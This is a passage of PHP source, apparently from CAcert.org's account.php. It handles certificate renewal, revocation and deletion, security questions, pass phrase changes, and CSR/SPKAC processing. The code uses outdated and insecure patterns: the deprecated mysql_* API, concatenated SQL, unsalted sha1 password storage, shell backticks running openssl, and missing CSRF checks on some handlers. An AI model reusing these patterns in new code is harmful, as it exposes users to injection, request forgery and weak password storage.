1044 `codesign`='".$row['codesign']."',
1045 `rootcert`='".$row['rootcert']."'";
1046 mysql_query($query);
1047 $newid = mysql_insert_id();
1048 $newfile=generatecertpath("csr","client",$newid);
1049 copy($row['csr_name'], $newfile);
1050 mysql_query("update `emailcerts` set `csr_name`='$newfile' where `id`='$newid'");
1051 $res = mysql_query("select * from `emaillink` where `emailcertsid`='".$row['id']."'");
1052 while($r2 = mysql_fetch_assoc($res))
1053 {
1054 mysql_query("insert into `emaillink` set `emailid`='".$r2['emailid']."',
1055 `emailcertsid`='$newid'");
1056 }
1057 waitForResult("emailcerts", $newid,$oldid,0);
1058 $query = "select * from `emailcerts` where `id`='$newid' and `crt_name` != ''";
1059 $res = mysql_query($query);
1060 if(mysql_num_rows($res) <= 0)
1061 {
1062 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
1063 } else {
1064 printf(_("Certificate for '%s' has been renewed."), $row['CN']);
1065 echo "<br/>\n<a href='account.php?id=6&cert=$newid' target='_new'>".
1066 _("Click here")."</a> "._("to install your certificate.")."<br/><br/>\n";
1067 }
1068 }
1069 }
1070 else
1071 {
1072 echo _("You did not select any certificates for renewal.")."<br/>";
1073 }
1074
1075 showfooter();
1076 exit;
1077 }
1078
1079 if($oldid == 5 && array_key_exists('revoke',$_REQUEST) && $_REQUEST['revoke'] != "")
1080 {
1081 $id = 5;
1082 showheader(_("My CAcert.org Account!"));
1083 if(array_key_exists('revokeid',$_REQUEST) && is_array($_REQUEST['revokeid']))
1084 {
1085 echo _("Now revoking the following certificates:")."<br>\n";
1086 foreach($_REQUEST['revokeid'] as $id)
1087 {
1088 $id = intval($id);
1089 $query = "select *,UNIX_TIMESTAMP(`revoked`) as `revoke` from `emailcerts`
1090 where `id`='$id' and `memid`='".$_SESSION['profile']['id']."'";
1091 $res = mysql_query($query);
1092 if(mysql_num_rows($res) <= 0)
1093 {
1094 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1095 continue;
1096 }
1097 $row = mysql_fetch_assoc($res);
1098 if($row['revoke'] > 0)
1099 {
1100 printf(_("It would seem '%s' has already been revoked. I'll skip this for now.")."<br>\n", $row['CN']);
1101 continue;
1102 }
1103 mysql_query("update `emailcerts` set `revoked`='1970-01-01 10:00:01' where `id`='$id'");
1104 printf(_("Certificate for '%s' has been revoked.")."<br>\n", $row['CN']);
1105 }
1106 }
1107 else
1108 {
1109 echo _("You did not select any certificates for revocation.");
1110 }
1111
1112 if(array_key_exists('delid',$_REQUEST) && is_array($_REQUEST['delid']))
1113 {
1114 echo _("Now deleting the following pending requests:")."<br>\n";
1115 foreach($_REQUEST['delid'] as $id)
1116 {
1117 $id = intval($id);
1118 $query = "select *,UNIX_TIMESTAMP(`expire`) as `expired` from `emailcerts`
1119 where `id`='$id' and `memid`='".$_SESSION['profile']['id']."'";
1120 $res = mysql_query($query);
1121 if(mysql_num_rows($res) <= 0)
1122 {
1123 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1124 continue;
1125 }
1126 $row = mysql_fetch_assoc($res);
1127 if($row['expired'] > 0)
1128 {
1129 printf(_("Couldn't remove the request for `%s`, request had already been processed.")."<br>\n", $row['CN']);
1130 continue;
1131 }
1132 mysql_query("delete from `emailcerts` where `id`='$id'");
1133 @unlink($row['csr_name']);
1134 @unlink($row['crt_name']);
1135 printf(_("Removed a pending request for '%s'")."<br>\n", $row['CN']);
1136 }
1137 }
1138 showfooter();
1139 exit;
1140 }
1141
1142 if($oldid == 5 && array_key_exists('change',$_REQUEST) && $_REQUEST['change'] != "")
1143 {
1144 showheader(_("My CAcert.org Account!"));
1145 //echo _("Now changing the settings for the following certificates:")."<br>\n";
1146 foreach($_REQUEST as $id => $val)
1147 {
1148 //echo $id."<br/>";
1149 if(substr($id,0,5)=="cert_")
1150 {
1151 $id = intval(substr($id,5));
1152 $dis=(array_key_exists('disablelogin_'.$id,$_REQUEST) && $_REQUEST['disablelogin_'.$id]=="1")?"0":"1";
1153 //echo "$id -> ".$_REQUEST['disablelogin_'.$id]."<br/>\n";
1154 mysql_query("update `emailcerts` set `disablelogin`='$dis' where `id`='$id' and `memid`='".$_SESSION['profile']['id']."'");
1155 //$row = mysql_fetch_assoc($res);
1156 }
1157 }
1158 echo(_("Certificate settings have been changed.")."<br/>\n");
1159 showfooter();
1160 exit;
1161 }
1162
1163
1164 if($oldid == 13 && $process != "")
1165 {
1166 csrf_check("perschange");
1167 $_SESSION['_config']['user'] = $_SESSION['profile'];
1168
1169 $_SESSION['_config']['user']['Q1'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['Q1']))));
1170 $_SESSION['_config']['user']['Q2'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['Q2']))));
1171 $_SESSION['_config']['user']['Q3'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['Q3']))));
1172 $_SESSION['_config']['user']['Q4'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['Q4']))));
1173 $_SESSION['_config']['user']['Q5'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['Q5']))));
1174 $_SESSION['_config']['user']['A1'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['A1']))));
1175 $_SESSION['_config']['user']['A2'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['A2']))));
1176 $_SESSION['_config']['user']['A3'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['A3']))));
1177 $_SESSION['_config']['user']['A4'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['A4']))));
1178 $_SESSION['_config']['user']['A5'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['A5']))));
1179
1180 if($_SESSION['_config']['user']['Q1'] == $_SESSION['_config']['user']['Q2'] ||
1181 $_SESSION['_config']['user']['Q1'] == $_SESSION['_config']['user']['Q3'] ||
1182 $_SESSION['_config']['user']['Q1'] == $_SESSION['_config']['user']['Q4'] ||
1183 $_SESSION['_config']['user']['Q1'] == $_SESSION['_config']['user']['Q5'] ||
1184 $_SESSION['_config']['user']['Q2'] == $_SESSION['_config']['user']['Q3'] ||
1185 $_SESSION['_config']['user']['Q2'] == $_SESSION['_config']['user']['Q4'] ||
1186 $_SESSION['_config']['user']['Q2'] == $_SESSION['_config']['user']['Q5'] ||
1187 $_SESSION['_config']['user']['Q3'] == $_SESSION['_config']['user']['Q4'] ||
1188 $_SESSION['_config']['user']['Q3'] == $_SESSION['_config']['user']['Q5'] ||
1189 $_SESSION['_config']['user']['Q4'] == $_SESSION['_config']['user']['Q5'] ||
1190 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['Q1'] ||
1191 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['Q2'] ||
1192 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['Q3'] ||
1193 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['Q4'] ||
1194 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['Q5'] ||
1195 $_SESSION['_config']['user']['A2'] == $_SESSION['_config']['user']['Q3'] ||
1196 $_SESSION['_config']['user']['A2'] == $_SESSION['_config']['user']['Q4'] ||
1197 $_SESSION['_config']['user']['A2'] == $_SESSION['_config']['user']['Q5'] ||
1198 $_SESSION['_config']['user']['A3'] == $_SESSION['_config']['user']['Q4'] ||
1199 $_SESSION['_config']['user']['A3'] == $_SESSION['_config']['user']['Q5'] ||
1200 $_SESSION['_config']['user']['A4'] == $_SESSION['_config']['user']['Q5'] ||
1201 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['A2'] ||
1202 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['A3'] ||
1203 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['A4'] ||
1204 $_SESSION['_config']['user']['A1'] == $_SESSION['_config']['user']['A5'] ||
1205 $_SESSION['_config']['user']['A2'] == $_SESSION['_config']['user']['A3'] ||
1206 $_SESSION['_config']['user']['A2'] == $_SESSION['_config']['user']['A4'] ||
1207 $_SESSION['_config']['user']['A2'] == $_SESSION['_config']['user']['A5'] ||
1208 $_SESSION['_config']['user']['A3'] == $_SESSION['_config']['user']['A4'] ||
1209 $_SESSION['_config']['user']['A3'] == $_SESSION['_config']['user']['A5'] ||
1210 $_SESSION['_config']['user']['A4'] == $_SESSION['_config']['user']['A5'])
1211 {
1212 $_SESSION['_config']['errmsg'] .= _("For your own security you must enter 5 different password questions and answers. You aren't allowed to duplicate questions, set questions as answers or use the question as the answer.")."<br>\n";
1213 $id = $oldid;
1214 $oldid=0;
1215 }
1216
1217 if($_SESSION['_config']['user']['Q1'] == "" || $_SESSION['_config']['user']['Q2'] == "" ||
1218 $_SESSION['_config']['user']['Q3'] == "" || $_SESSION['_config']['user']['Q4'] == "" ||
1219 $_SESSION['_config']['user']['Q5'] == "")
1220 {
1221 $_SESSION['_config']['errmsg'] .= _("For your own security you must enter 5 lost password questions and answers.")."<br>";
1222 $id = $oldid;
1223 $oldid=0;
1224 }
1225 }
1226
1227 if($oldid == 13 && $process != "")
1228 {
1229 $ddquery = "select sum(`points`) as `total` from `notary` where `to`='".$_SESSION['profile']['id']."' group by `to`";
1230 $ddres = mysql_query($ddquery);
1231 $ddrow = mysql_fetch_assoc($ddres);
1232 $_SESSION['profile']['points'] = $ddrow['total'];
1233
1234 if($_SESSION['profile']['points'] == 0)
1235 {
1236 $_SESSION['_config']['user']['fname'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['fname']))));
1237 $_SESSION['_config']['user']['mname'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['mname']))));
1238 $_SESSION['_config']['user']['lname'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['lname']))));
1239 $_SESSION['_config']['user']['suffix'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['suffix']))));
1240 $_SESSION['_config']['user']['day'] = intval($_REQUEST['day']);
1241 $_SESSION['_config']['user']['month'] = intval($_REQUEST['month']);
1242 $_SESSION['_config']['user']['year'] = intval($_REQUEST['year']);
1243
1244 if($_SESSION['_config']['user']['fname'] == "" || $_SESSION['_config']['user']['lname'] == "")
1245 {
1246 $_SESSION['_config']['errmsg'] .= _("First and Last name fields can not be blank.")."<br>";
1247 $id = $oldid;
1248 $oldid=0;
1249 }
1250 if($_SESSION['_config']['user']['year'] < 1900 || $_SESSION['_config']['user']['month'] < 1 || $_SESSION['_config']['user']['month'] > 12 ||
1251 $_SESSION['_config']['user']['day'] < 1 || $_SESSION['_config']['user']['day'] > 31)
1252 {
1253 $_SESSION['_config']['errmsg'] .= _("Invalid date of birth")."<br>\n";
1254 $id = $oldid;
1255 $oldid=0;
1256 }
1257 }
1258 }
1259
1260 if($oldid == 13 && $process != "")
1261 {
1262 if($_SESSION['profile']['points'] == 0)
1263 {
1264 $query = "update `users` set `fname`='".$_SESSION['_config']['user']['fname']."',
1265 `mname`='".$_SESSION['_config']['user']['mname']."',
1266 `lname`='".$_SESSION['_config']['user']['lname']."',
1267 `suffix`='".$_SESSION['_config']['user']['suffix']."',
1268 `dob`='".$_SESSION['_config']['user']['year']."-".$_SESSION['_config']['user']['month']."-".$_SESSION['_config']['user']['day']."'
1269 where `id`='".$_SESSION['profile']['id']."'";
1270 mysql_query($query);
1271 }
1272 $query = "update `users` set `Q1`='".$_SESSION['_config']['user']['Q1']."',
1273 `Q2`='".$_SESSION['_config']['user']['Q2']."',
1274 `Q3`='".$_SESSION['_config']['user']['Q3']."',
1275 `Q4`='".$_SESSION['_config']['user']['Q4']."',
1276 `Q5`='".$_SESSION['_config']['user']['Q5']."',
1277 `A1`='".$_SESSION['_config']['user']['A1']."',
1278 `A2`='".$_SESSION['_config']['user']['A2']."',
1279 `A3`='".$_SESSION['_config']['user']['A3']."',
1280 `A4`='".$_SESSION['_config']['user']['A4']."',
1281 `A5`='".$_SESSION['_config']['user']['A5']."'
1282 where `id`='".$_SESSION['profile']['id']."'";
1283 mysql_query($query);
1284
1285 //!!!Should be rewritten
1286 $_SESSION['_config']['user']['otphash'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['otphash']))));
1287 $_SESSION['_config']['user']['otppin'] = trim(mysql_real_escape_string(stripslashes(strip_tags($_REQUEST['otppin']))));
1288 if($_SESSION['_config']['user']['otphash'] != "" && $_SESSION['_config']['user']['otppin'] != "")
1289 {
1290 $query = "update `users` set `otphash`='".$_SESSION['_config']['user']['otphash']."',
1291 `otppin`='".$_SESSION['_config']['user']['otppin']."' where `id`='".$_SESSION['profile']['id']."'";
1292 mysql_query($query);
1293 }
1294
1295 $_SESSION['_config']['user']['set'] = 0;
1296 $_SESSION['profile'] = mysql_fetch_assoc(mysql_query("select * from `users` where `id`='".$_SESSION['profile']['id']."'"));
1297 $_SESSION['profile']['loggedin'] = 1;
1298
1299 $ddquery = "select sum(`points`) as `total` from `notary` where `to`='".$_SESSION['profile']['id']."' group by `to`";
1300 $ddres = mysql_query($ddquery);
1301 $ddrow = mysql_fetch_assoc($ddres);
1302 $_SESSION['profile']['points'] = $ddrow['total'];
1303
1304
1305 $id = 13;
1306 showheader(_("My CAcert.org Account!"));
1307 echo _("Your details have been updated with the database.");
1308 showfooter();
1309 exit;
1310 }
1311
1312 if($oldid == 14 && $process != "")
1313 {
1314 $_SESSION['_config']['user']['oldpass'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['oldpassword'])));
1315 $_SESSION['_config']['user']['pword1'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['pword1'])));
1316 $_SESSION['_config']['user']['pword2'] = trim(mysql_real_escape_string(stripslashes($_REQUEST['pword2'])));
1317
1318 $id = 14;
1319 csrf_check("pwchange");
1320
1321 showheader(_("My CAcert.org Account!"));
1322 if($_SESSION['_config']['user']['pword1'] == "" || $_SESSION['_config']['user']['pword1'] != $_SESSION['_config']['user']['pword2'])
1323 {
1324 echo '<h3 style="color:red">', _("Failure: Pass Phrase not Changed"),
1325 '</h3>', "\n";
1326 echo _("New Pass Phrases specified don't match or were blank.");
1327 } else {
1328 $score = checkpw($_SESSION['_config']['user']['pword1'], $_SESSION['profile']['email'], $_SESSION['profile']['fname'],
1329 $_SESSION['profile']['mname'], $_SESSION['profile']['lname'], $_SESSION['profile']['suffix']);
1330
1331 if($_SESSION['_config']['hostname'] != $_SESSION['_config']['securehostname'])
1332 {
1333 $match = mysql_query("select * from `users` where `id`='".$_SESSION['profile']['id']."' and
1334 (`password`=old_password('".$_SESSION['_config']['user']['oldpass']."') or
1335 `password`=sha1('".$_SESSION['_config']['user']['oldpass']."'))");
1336 $rc = mysql_num_rows($match);
1337 } else {
1338 $rc = 1;
1339 }
1340
1341 if(strlen($_SESSION['_config']['user']['pword1']) < 6) {
1342 echo '<h3 style="color:red">',
1343 _("Failure: Pass Phrase not Changed"), '</h3>', "\n";
1344 echo _("The Pass Phrase you submitted was too short.");
1345 } else if($score < 3) {
1346 echo '<h3 style="color:red">',
1347 _("Failure: Pass Phrase not Changed"), '</h3>', "\n";
1348 printf(_("The Pass Phrase you submitted failed to contain enough differing characters and/or contained words from your name and/or email address. Only scored %s points out of 6."), $score);
1349 } else if($rc <= 0) {
1350 echo '<h3 style="color:red">',
1351 _("Failure: Pass Phrase not Changed"), '</h3>', "\n";
1352 echo _("You failed to correctly enter your current Pass Phrase.");
1353 } else {
1354 mysql_query("update `users` set `password`=sha1('".$_SESSION['_config']['user']['pword1']."')
1355 where `id`='".$_SESSION['profile']['id']."'");
1356 echo '<h3>', _("Pass Phrase Changed Successfully"), '</h3>', "\n";
1357 echo _("Your Pass Phrase has been updated and your primary email account has been notified of the change.");
1358 $body = sprintf(_("Hi %s,"),$_SESSION['profile']['fname'])."\n\n";
1359 $body .= _("You are receiving this email because you or someone else ".
1360 "has changed the password on your account.")."\n\n";
1361
1362 $body .= _("Best regards")."\n"._("CAcert.org Support!");
1363
1364 sendmail($_SESSION['profile']['email'], "[CAcert.org] "._("Password Update Notification"), $body,
1365 "[email protected]", "", "", "CAcert Support");
1366 }
1367 }
1368 showfooter();
1369 exit;
1370 }
1371
1372 if($oldid == 16)
1373 {
1374 $id = 16;
1375 $_SESSION['_config']['emails'] = array();
1376
1377 foreach($_REQUEST['emails'] as $val)
1378 {
1379 $val = mysql_real_escape_string(stripslashes(trim($val)));
1380 $bits = explode("@", $val);
1381 $count = count($bits);
1382 if($count != 2)
1383 continue;
1384
1385 if(checkownership($bits[1]) == false)
1386 continue;
1387
1388 if(!is_array($_SESSION['_config']['row']))
1389 continue;
1390 else if($_SESSION['_config']['row']['id'] > 0)
1391 $_SESSION['_config']['domids'][] = $_SESSION['_config']['row']['id'];
1392
1393 if($val != "")
1394 $_SESSION['_config']['emails'][] = $val;
1395 }
1396 $_SESSION['_config']['name'] = mysql_real_escape_string(stripslashes(trim($_REQUEST['name'])));
1397 $_SESSION['_config']['OU'] = mysql_real_escape_string(stripslashes(trim($_REQUEST['OU'])));
1398 }
1399
1400 if($oldid == 16 && (intval(count($_SESSION['_config']['emails'])) + 0) <= 0)
1401 {
1402 $id = 16;
1403 showheader(_("My CAcert.org Account!"));
1404 echo _("I couldn't match any emails against your organisational account.");
1405 showfooter();
1406 exit;
1407 }
1408
1409 if($oldid == 16 && $process != "")
1410 {
1411
1412 if(array_key_exists('codesign',$_REQUEST) && $_REQUEST['codesign'] && $_SESSION['profile']['codesign'] && ($_SESSION['profile']['points'] >= 100))
1413 {
1414 $_REQUEST['codesign'] = 1;
1415 $_SESSION['_config']['codesign'] = 1;
1416 }
1417 else
1418 {
1419 $_REQUEST['codesign'] = 0;
1420 $_SESSION['_config']['codesign'] = 0;
1421 }
1422
1423 $_SESSION['_config']['rootcert'] = intval($_REQUEST['rootcert']);
1424 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
1425 $_SESSION['_config']['rootcert'] = 1;
1426
1427 if(@count($_SESSION['_config']['emails']) > 0)
1428 $id = 17;
1429 }
1430
1431 if($oldid == 17)
1432 {
1433 $org = $_SESSION['_config']['row'];
1434 if($_REQUEST['keytype'] == "NS")
1435 {
1436 $spkac=""; if(preg_match("/^[a-zA-Z0-9+=\/]+$/", trim(str_replace("\n", "", str_replace("\r", "",$_REQUEST['SPKAC']))))) $spkac=trim(str_replace("\n", "", str_replace("\r", "",$_REQUEST['SPKAC'])));
1437
1438 if($spkac == "" || strlen($spkac) < 128)
1439 {
1440 $id = 17;
1441 showheader(_("My CAcert.org Account!"));
1442 echo _("I didn't receive a valid Certificate Request, hit the back button and try again.");
1443 showfooter();
1444 exit;
1445 }
1446
1447 $count = 0;
1448 $emails = "";
1449 $addys = array();
1450 if(is_array($_SESSION['_config']['emails']))
1451 foreach($_SESSION['_config']['emails'] as $_REQUEST['email'])
1452 {
1453 if(!$emails)
1454 $defaultemail = $_REQUEST['email'];
1455 $emails .= "$count.emailAddress = $_REQUEST[email]\n";
1456 $count++;
1457 }
1458 if($_SESSION['_config']['name'] != "")
1459 $emails .= "commonName = ".$_SESSION['_config']['name']."\n";
1460 if($_SESSION['_config']['OU'])
1461 $emails .= "organizationalUnitName = ".$_SESSION['_config']['OU']."\n";
1462 if($org['O'])
1463 $emails .= "organizationName = ".$org['O']."\n";
1464 if($org['L'])
1465 $emails .= "localityName = ".$org['L']."\n";
1466 if($org['ST'])
1467 $emails .= "stateOrProvinceName = ".$org['ST']."\n";
1468 if($org['C'])
1469 $emails .= "countryName = ".$org['C']."\n";
1470 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
1471 $_SESSION['_config']['rootcert'] = 1;
1472
1473 $emails .= "SPKAC = $spkac";
1474 if (($weakKey = checkWeakKeySPKAC($emails)) !== "")
1475 {
1476 $id = 17;
1477 showheader(_("My CAcert.org Account!"));
1478 echo $weakKey;
1479 showfooter();
1480 exit;
1481 }
1482
1483 $query = "insert into `orgemailcerts` set
1484 `CN`='$defaultemail',
1485 `keytype`='NS',
1486 `orgid`='".$org['orgid']."',
1487 `created`=FROM_UNIXTIME(UNIX_TIMESTAMP()),
1488 `codesign`='".$_SESSION['_config']['codesign']."',
1489 `rootcert`='".$_SESSION['_config']['rootcert']."'";
1490 mysql_query($query);
1491 $emailid = mysql_insert_id();
1492
1493 foreach($_SESSION['_config']['domids'] as $addy)
1494 mysql_query("insert into `domemaillink` set `emailcertsid`='$emailid', `emailid`='$addy'");
1495
1496 $CSRname=generatecertpath("csr","orgclient",$emailid);
1497 $fp = fopen($CSRname, "w");
1498 fputs($fp, $emails);
1499 fclose($fp);
1500 $challenge=$_SESSION['spkac_hash'];
1501 $res=`openssl spkac -verify -in $CSRname`;
1502 if(!strstr($res,"Challenge String: ".$challenge))
1503 {
1504 $id = $oldid;
1505 showheader(_("My CAcert.org Account!"));
1506 echo _("The challenge-response code of your certificate request did not match. Can't continue with certificaterequest.");
1507 showfooter();
1508 exit;
1509 }
1510 mysql_query("update `orgemailcerts` set `csr_name`='$CSRname' where `id`='$emailid'");
1511 } else if($_REQUEST['keytype'] == "MS" || $_REQUEST['keytype']=="VI") {
1512 $csr = "-----BEGIN CERTIFICATE REQUEST-----\n".clean_csr($_REQUEST['CSR'])."-----END CERTIFICATE REQUEST-----\n";
1513
1514 if (($weakKey = checkWeakKeyCSR($csr)) !== "")
1515 {
1516 $id = 17;
1517 showheader(_("My CAcert.org Account!"));
1518 echo $weakKey;
1519 showfooter();
1520 exit;
1521 }
1522
1523 $tmpfname = tempnam("/tmp", "id17CSR");
1524 $fp = fopen($tmpfname, "w");
1525 fputs($fp, $csr);
1526 fclose($fp);
1527
1528 $addys = array();
1529 $defaultemail = "";
1530 $csrsubject="";
1531
1532 if($_SESSION['_config']['name'] != "")
1533 $csrsubject = "/CN=".$_SESSION['_config']['name'];
1534 if(is_array($_SESSION['_config']['emails']))
1535 foreach($_SESSION['_config']['emails'] as $_REQUEST['email'])
1536 {
1537 if($defaultemail == "")
1538 $defaultemail = $_REQUEST['email'];
1539 $csrsubject .= "/emailAddress=$_REQUEST[email]";
1540 }
1541 if($_SESSION['_config']['OU'])
1542 $csrsubject .= "/organizationalUnitName=".$_SESSION['_config']['OU'];
1543 if($org['O'])
1544 $csrsubject .= "/organizationName=".$org['O'];
1545 if($org['L'])
1546 $csrsubject .= "/localityName=".$org['L'];
1547 if($org['ST'])
1548 $csrsubject .= "/stateOrProvinceName=".$org['ST'];
1549 if($org['C'])
1550 $csrsubject .= "/countryName=".$org['C'];
1551
1552 $tmpname = tempnam("/tmp", "id17csr");
1553 $do = `/usr/bin/openssl req -in $tmpfname -out $tmpname`;
1554 @unlink($tmpfname);
1555 $csr = "";
1556 $fp = fopen($tmpname, "r");
1557 while($data = fgets($fp, 4096))
1558 $csr .= $data;
1559 fclose($fp);
1560 @unlink($tmpname);
1561
1562 if($csr == "")
1563 {
1564 showheader(_("My CAcert.org Account!"));
1565 echo _("I didn't receive a valid Certificate Request, hit the back button and try again.");
1566 showfooter();
1567 exit;
1568 }
1569 if($_SESSION['_config']['rootcert'] < 1 || $_SESSION['_config']['rootcert'] > 2)
1570 $_SESSION['_config']['rootcert'] = 1;
1571
1572 $query = "insert into `orgemailcerts` set
1573 `CN`='$defaultemail',
1574 `keytype`='" . sanitizeHTML($_REQUEST['keytype']) . "',
1575 `orgid`='".$org['orgid']."',
1576 `created`=FROM_UNIXTIME(UNIX_TIMESTAMP()),
1577 `subject`='$csrsubject',
1578 `codesign`='".$_SESSION['_config']['codesign']."',
1579 `rootcert`='".$_SESSION['_config']['rootcert']."'";
1580 mysql_query($query);
1581 $emailid = mysql_insert_id();
1582
1583 foreach($_SESSION['_config']['domids'] as $addy)
1584 mysql_query("insert into `domemaillink` set `emailcertsid`='$emailid', `emailid`='$addy'");
1585
1586 $CSRname=generatecertpath("csr","orgclient",$emailid);
1587 $fp = fopen($CSRname, "w");
1588 fputs($fp, $csr);
1589 fclose($fp);
1590 mysql_query("update `orgemailcerts` set `csr_name`='$CSRname' where `id`='$emailid'");
1591 }
1592 waitForResult("orgemailcerts", $emailid,$oldid);
1593 $query = "select * from `orgemailcerts` where `id`='$emailid' and `crt_name` != ''";
1594 $res = mysql_query($query);
1595 if(mysql_num_rows($res) <= 0)
1596 {
1597 showheader(_("My CAcert.org Account!"));
1598 printf(_("Your certificate request has failed to be processed correctly, see %sthe WIKI page%s for reasons and solutions."), "<a href='http://wiki.cacert.org/wiki/FAQ/CertificateRenewal'>", "</a>");
1599 showfooter();
1600 exit;
1601 } else {
1602 $id = 19;
1603 $cert = $emailid;
1604 $_REQUEST['cert']=$emailid;
1605 }
1606 }
1607
1608 if($oldid == 18 && array_key_exists('renew',$_REQUEST) && $_REQUEST['renew'] != "")
1609 {
1610 csrf_check('clicerchange');
1611 showheader(_("My CAcert.org Account!"));
1612 if(is_array($_REQUEST['revokeid']))
1613 {
1614 $id = 18;
1615 echo _("Now renewing the following certificates:")."<br>\n";
1616 foreach($_REQUEST['revokeid'] as $id)
1617 {
1618 echo "Renewing certificate #$id ...\n<br/>";
1619 $id = intval($id);
1620 $query = "select *,UNIX_TIMESTAMP(`revoked`) as `revoke` from `orgemailcerts`, `org`
1621 where `orgemailcerts`.`id`='$id' and `org`.`memid`='".$_SESSION['profile']['id']."' and
1622 `org`.`orgid`=`orgemailcerts`.`orgid`";
1623 $res = mysql_query($query);
1624 if(mysql_num_rows($res) <= 0)
1625 {
1626 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1627 continue;
1628 }
1629
1630 $row = mysql_fetch_assoc($res);
1631
1632 if (($weakKey = checkWeakKeyX509(file_get_contents(
1633 $row['crt_name']))) !== "")
1634 {
1635 echo $weakKey, "<br/>\n";
1636 continue;
1637 }
1638
1639 mysql_query("update `orgemailcerts` set `renewed`='1' where `id`='$id'");
1640 if($row['revoke'] > 0)
1641 {
1642 printf(_("It would seem '%s' has already been revoked. I'll skip this for now.")."<br>\n", $row['CN']);
1643 continue;
1644 }
1645 $query = "insert into `orgemailcerts` set
1646 `orgid`='".$row['orgid']."',
1647 `CN`='".$row['CN']."',
1648 `subject`='".$row['subject']."',
1649 `keytype`='".$row['keytype']."',
1650 `csr_name`='".$row['csr_name']."',
1651 `created`='".$row['created']."',
1652 `modified`=NOW(),
1653 `codesign`='".$row['codesign']."',
1654 `rootcert`='".$row['rootcert']."'";
1655 mysql_query($query);
1656 $newid = mysql_insert_id();
1657 $newfile=generatecertpath("csr","orgclient",$newid);
1658 copy($row['csr_name'], $newfile);
1659 mysql_query("update `orgemailcerts` set `csr_name`='$newfile' where `id`='$newid'");
1660 waitForResult("orgemailcerts", $newid,$oldid,0);
1661 $query = "select * from `orgemailcerts` where `id`='$newid' and `crt_name` != ''";
1662 $res = mysql_query($query);
1663 if(mysql_num_rows($res) > 0)
1664 {
1665 printf(_("Certificate for '%s' has been renewed."), $row['CN']);
1666 echo "<a href='account.php?id=19&cert=$newid' target='_new'>".
1667 _("Click here")."</a> "._("to install your certificate.");
1668 }
1669 echo("<br/>");
1670 }
1671 }
1672 else
1673 {
1674 echo _("You did not select any certificates for renewal.");
1675 }
1676 showfooter();
1677 exit;
1678 }
1679
1680 if($oldid == 18 && array_key_exists('revoke',$_REQUEST) && $_REQUEST['revoke'] != "")
1681 {
1682 csrf_check('clicerchange');
1683 $id = 18;
1684 showheader(_("My CAcert.org Account!"));
1685 if(is_array($_REQUEST['revokeid']))
1686 {
1687 echo _("Now revoking the following certificates:")."<br>\n";
1688 foreach($_REQUEST['revokeid'] as $id)
1689 {
1690 $id = intval($id);
1691 $query = "select *,UNIX_TIMESTAMP(`revoked`) as `revoke` from `orgemailcerts`, `org`
1692 where `orgemailcerts`.`id`='$id' and `org`.`memid`='".$_SESSION['profile']['id']."' and
1693 `org`.`orgid`=`orgemailcerts`.`orgid`";
1694 $res = mysql_query($query);
1695 if(mysql_num_rows($res) <= 0)
1696 {
1697 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1698 continue;
1699 }
1700 $row = mysql_fetch_assoc($res);
1701 if($row['revoke'] > 0)
1702 {
1703 printf(_("It would seem '%s' has already been revoked. I'll skip this for now.")."<br>\n", $row['CN']);
1704 continue;
1705 }
1706 mysql_query("update `orgemailcerts` set `revoked`='1970-01-01 10:00:01' where `id`='$id'");
1707 printf(_("Certificate for '%s' has been revoked.")."<br>\n", $row['CN']);
1708 }
1709 }
1710 else
1711 {
1712 echo _("You did not select any certificates for revocation.");
1713 }
1714
1715 if(array_key_exists('delid',$_REQUEST) && is_array($_REQUEST['delid']))
1716 {
1717 echo _("Now deleting the following pending requests:")."<br>\n";
1718 foreach($_REQUEST['delid'] as $id)
1719 {
1720 $id = intval($id);
1721 $query = "select *,UNIX_TIMESTAMP(`expire`) as `expired` from `orgemailcerts`, `org`
1722 where `orgemailcerts`.`id`='$id' and `org`.`memid`='".$_SESSION['profile']['id']."' and
1723 `org`.`orgid`=`orgemailcerts`.`orgid`";
1724 $res = mysql_query($query);
1725 if(mysql_num_rows($res) <= 0)
1726 {
1727 printf(_("Invalid ID '%s' presented, can't do anything with it.")."<br>\n", $id);
1728 continue;
1729 }
1730 $row = mysql_fetch_assoc($res);
1731 if($row['expired'] > 0)
1732 {
1733 printf(_("Couldn't remove the request for `%s`, request had already been processed.")."<br>\n", $row['CN']);
1734 continue;
1735 }
1736 mysql_query("delete from `orgemailcerts` where `id`='$id'");
1737 @unlink($row['csr_name']);
1738 @unlink($row['crt_name']);
